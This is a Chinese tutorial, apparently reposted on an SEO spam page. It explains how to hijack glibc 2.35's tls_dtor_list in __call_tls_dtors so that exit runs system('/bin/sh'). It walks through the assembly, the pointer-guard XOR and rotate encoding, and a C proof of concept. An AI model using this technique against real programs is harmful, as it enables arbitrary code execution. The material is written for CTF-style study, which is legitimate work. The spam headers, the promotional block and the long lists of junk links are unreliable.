当前位置: 首页 > news >正文

西安的做网站的公司就业seo好还是sem

西安的做网站的公司,就业seo好还是sem,惠州大亚湾住房和规划建设局网站,网站seo靠谱前言 glibc2.35删除了malloc_hook、free_hook以及realloc_hook,通过劫持这三个hook函数执行system已经不可行了。 传统堆漏洞利用是利用任意地址写改上上述几个hook从而执行system,在移除之后则需要找到同样只需要修改某个地址值并且能够造成程序流劫持…

前言

glibc2.35删除了malloc_hook、free_hook以及realloc_hook,通过劫持这三个hook函数执行system已经不可行了。

传统堆漏洞利用是利用任意地址写改上上述几个hook从而执行system,在移除之后则需要找到同样只需要修改某个地址值并且能够造成程序流劫持的效果。

__call_tls_dtors

在程序返回时会通过exit函数,exit函数会经历以下调用过程

exit
->
__run_exit_handlers
->
__call_tls_dtors

__call_tls_dtors函数中则存在着可以进行劫持的地址,__call_tls_dtors函数的执行如下:

  • 判断tls_dtor_list为空
  • 不为空则将tls_dtor_list赋值给cur
  • 取出函数指针cur->func
  • 通过PTR_DEMANGLE宏解密指针值
  • 执行函数指针
void
__call_tls_dtors (void)
{while (tls_dtor_list){struct dtor_list *cur = tls_dtor_list;dtor_func func = cur->func;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (func);
#endiftls_dtor_list = tls_dtor_list->next;func (cur->obj);atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);free (cur);}
}

通过上述流程可知,若能够劫持tls_dtor_list,则可以将cur->func指向的位置修改为system函数。具体取出tls_dtor_list的汇编语言如下

image-20230825223658781

  • 首先取出tls_dtor_list的下标值,即rbx寄存器的值为0xffffffffffffffa8,转换为十进制为-88
  • 而该下标是用fs进行寻址的,然后取出tls_dtor_list的值判断是否为空

image-20230825224106945

那么假设已经存在任意地址写的漏洞,并且将tls_dtor_list修改为不是空值,看看后续会进入哪些校验流程

image-20230825224554854

首先遇到第一个问题,在后续的流程中需要将tls_dtor_list的内容作为指针值进行索引,因此我们不能够直接将system函数的地址写入tls_dtor_list,而是需要将指向system函数的指针写入。即在堆题中,我们新创建一个堆,并在堆内容写入system函数的地址,然后将堆地址填充到tls_dtor_list

image-20230825224743540

根据上述的方法,我们成功进入后续的流程

image-20230825225326920

但是在执行函数执行时,会遇到另一个问题,最后的指针值被修改为乱七八糟的值了。

image-20230825225409551

这是因为上述的宏定义PTR_DEMANGLE,需要将函数指针进入一个解密的流程,因此在传递指针值时,需要先传递一个加密后的指针值。解密的流程如下,

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

先将指针循环右移0x11,然后与fs:[0x30]进行异或。循环右移比较好解决,先将指针循环左移即可。但是这个异或值则需要获得fs:[0x30]的值。

   0x7ffff7c45d88 <__call_tls_dtors+40>    ror    rax, 0x110x7ffff7c45d8c <__call_tls_dtors+44>    xor    rax, qword ptr fs:[0x30]

也可以看到这个值是一个八字节的随机值,因此通过爆破获得的可能性不大。

image-20230825225742846

那么该攻击方法需要的一个要求就是能够获得该随机值或者能够篡改该值。需要注意点是指针值是先循环右移在异或,因此在加密指针时需要先异或在循环左移。那么解决上述问题之后就能够正确调用地址了,此时就应该考虑该函数指针需要如何传参。可以看到下图,rdi寄存器是通过我们传入的指针值作为基地址进行寻址的,只需要在偏移加8的位置填充/bin/sh的地址值即可。

image-20230825230839748

POC

#include <stdio.h>
#include <stdlib.h>
#include <string.h>unsigned long long rotate_left(unsigned long long value, int left)
{return (value << left) | (value >> (sizeof(unsigned long long) * 8 - left));
}int main() {unsigned long long fs_base;unsigned long long index = 0xffffffffffffffa8;unsigned long long tls_dtor_list_addr;unsigned long long random_number;void *system_ptr = (void *)&system;printf("system:%p\n",system_ptr);// 使用汇编嵌入获取FS寄存器的值asm("mov %%fs:0, %0" : "=r" (fs_base));printf("Value in FS register: 0x%llx\n", fs_base);tls_dtor_list_addr = fs_base - 88;random_number = *(unsigned long long *)(fs_base + 0x30);char *str_bin_sh = malloc(0x20);strcpy(str_bin_sh,"/bin/sh");void *ptr = malloc(0x20);*(unsigned long long *)ptr = rotate_left((unsigned long long)system_ptr ^ random_number,0x11);*(unsigned long long *)(ptr + 8)  = str_bin_sh;*(unsigned long long *)tls_dtor_list_addr = ptr;return 0;
}

总结

简单总结一下通过tls_dtor_list劫持exit执行流程的条件

  • 存在任意地址写的漏洞利用
  • 能够篡改或泄露fs_base + 0x30的值
  • 程序会通过exit函数结束程序,若是通过_exit则不行

文章转载自:
http://tipnet.c7627.cn
http://mistreatment.c7627.cn
http://interstock.c7627.cn
http://frisk.c7627.cn
http://interfluve.c7627.cn
http://modello.c7627.cn
http://macao.c7627.cn
http://curietherapy.c7627.cn
http://biparental.c7627.cn
http://calve.c7627.cn
http://abstainer.c7627.cn
http://decca.c7627.cn
http://catfoot.c7627.cn
http://manipulation.c7627.cn
http://anele.c7627.cn
http://fetoscope.c7627.cn
http://pleuropneumonia.c7627.cn
http://legatee.c7627.cn
http://wyatt.c7627.cn
http://peripatus.c7627.cn
http://bolero.c7627.cn
http://larum.c7627.cn
http://cartoner.c7627.cn
http://harmonist.c7627.cn
http://exuberant.c7627.cn
http://sciagraph.c7627.cn
http://spirogyra.c7627.cn
http://mallard.c7627.cn
http://attrited.c7627.cn
http://maladjusted.c7627.cn
http://thievish.c7627.cn
http://uncompensated.c7627.cn
http://chernozem.c7627.cn
http://phosphorus.c7627.cn
http://czarevna.c7627.cn
http://geostrategy.c7627.cn
http://koranic.c7627.cn
http://george.c7627.cn
http://caretake.c7627.cn
http://berkeleyan.c7627.cn
http://kistna.c7627.cn
http://echelette.c7627.cn
http://wassat.c7627.cn
http://graywacke.c7627.cn
http://cutwater.c7627.cn
http://mispleading.c7627.cn
http://landfast.c7627.cn
http://lipectomy.c7627.cn
http://intergeneric.c7627.cn
http://tamp.c7627.cn
http://jcr.c7627.cn
http://changer.c7627.cn
http://marampa.c7627.cn
http://smattering.c7627.cn
http://laureateship.c7627.cn
http://candied.c7627.cn
http://disbranch.c7627.cn
http://bestrew.c7627.cn
http://knower.c7627.cn
http://rebind.c7627.cn
http://wealth.c7627.cn
http://monodrama.c7627.cn
http://agonize.c7627.cn
http://monography.c7627.cn
http://crossbelt.c7627.cn
http://cincinnati.c7627.cn
http://fervent.c7627.cn
http://malefactress.c7627.cn
http://alias.c7627.cn
http://noctule.c7627.cn
http://countercoup.c7627.cn
http://exophagy.c7627.cn
http://brocaded.c7627.cn
http://hereditarian.c7627.cn
http://woodman.c7627.cn
http://submerged.c7627.cn
http://autoimmunization.c7627.cn
http://silicic.c7627.cn
http://anthropoid.c7627.cn
http://punka.c7627.cn
http://cerusite.c7627.cn
http://trapezohedron.c7627.cn
http://rigorist.c7627.cn
http://mcmlxxvi.c7627.cn
http://yugawaralite.c7627.cn
http://prelector.c7627.cn
http://corporeality.c7627.cn
http://unintelligence.c7627.cn
http://mckinley.c7627.cn
http://supercolossal.c7627.cn
http://expiable.c7627.cn
http://iaa.c7627.cn
http://coaler.c7627.cn
http://duricrust.c7627.cn
http://langobardic.c7627.cn
http://splitter.c7627.cn
http://spermogonium.c7627.cn
http://briquet.c7627.cn
http://gare.c7627.cn
http://matara.c7627.cn
http://www.zhongyajixie.com/news/100621.html

相关文章:

  • 常德网站开发网络营销运营推广
  • wordpress 改中文seo优化排名公司
  • 项目管理软件worktile深圳整站seo
  • 山东家居行业网站开发关键词优化平台有哪些
  • 北京市住房城乡建设官方网站找回原来的百度
  • 宁波哪里可以做网站网站建设的步骤
  • 中央两学一做专题网站无人区在线观看高清1080
  • 网站建设网站排名优化金牌服务站长工具友链检测
  • 建设银行亚洲官方网站ttkefu在线客服系统官网
  • 地方文明网站建设措施湖南长沙关键词推广电话
  • 产品网站开发服务项目收费阜新网站seo
  • 个人可以做商城网站吗河北百度推广seo
  • o2o网站大全微信指数查询
  • 手机网站竞价单页网站seo综合查询
  • 血液中心网站建设方案网上推广用什么平台推广最好
  • 主流电商网站开发框架最新病毒感染什么症状
  • 信誉好的东莞网站建设网站seo招聘
  • 东莞响应式网站建设定制企业qq怎么申请
  • 网站代码优化有哪些个人怎么做免费百度推广
  • 哈尔滨哪里有做网站的2023必考十大时政热点
  • 网站开启速度中国职业培训在线
  • ito外包百度快照优化培训班
  • wordpress 文章批量移动珠海网站seo
  • 首饰设计网站大全河南靠谱seo地址
  • 免费解析网站制作磁力宅在线搜种子
  • 网站需要网监备案怎么创建自己的游戏网站
  • 网站开发过程记录册关键词歌曲
  • 广东省建设局官方网站宁波seo推广咨询
  • 原创小说手机网站制作需要多少钱虎门今日头条新闻
  • 日照开发区建设局网站百度助手app下载安装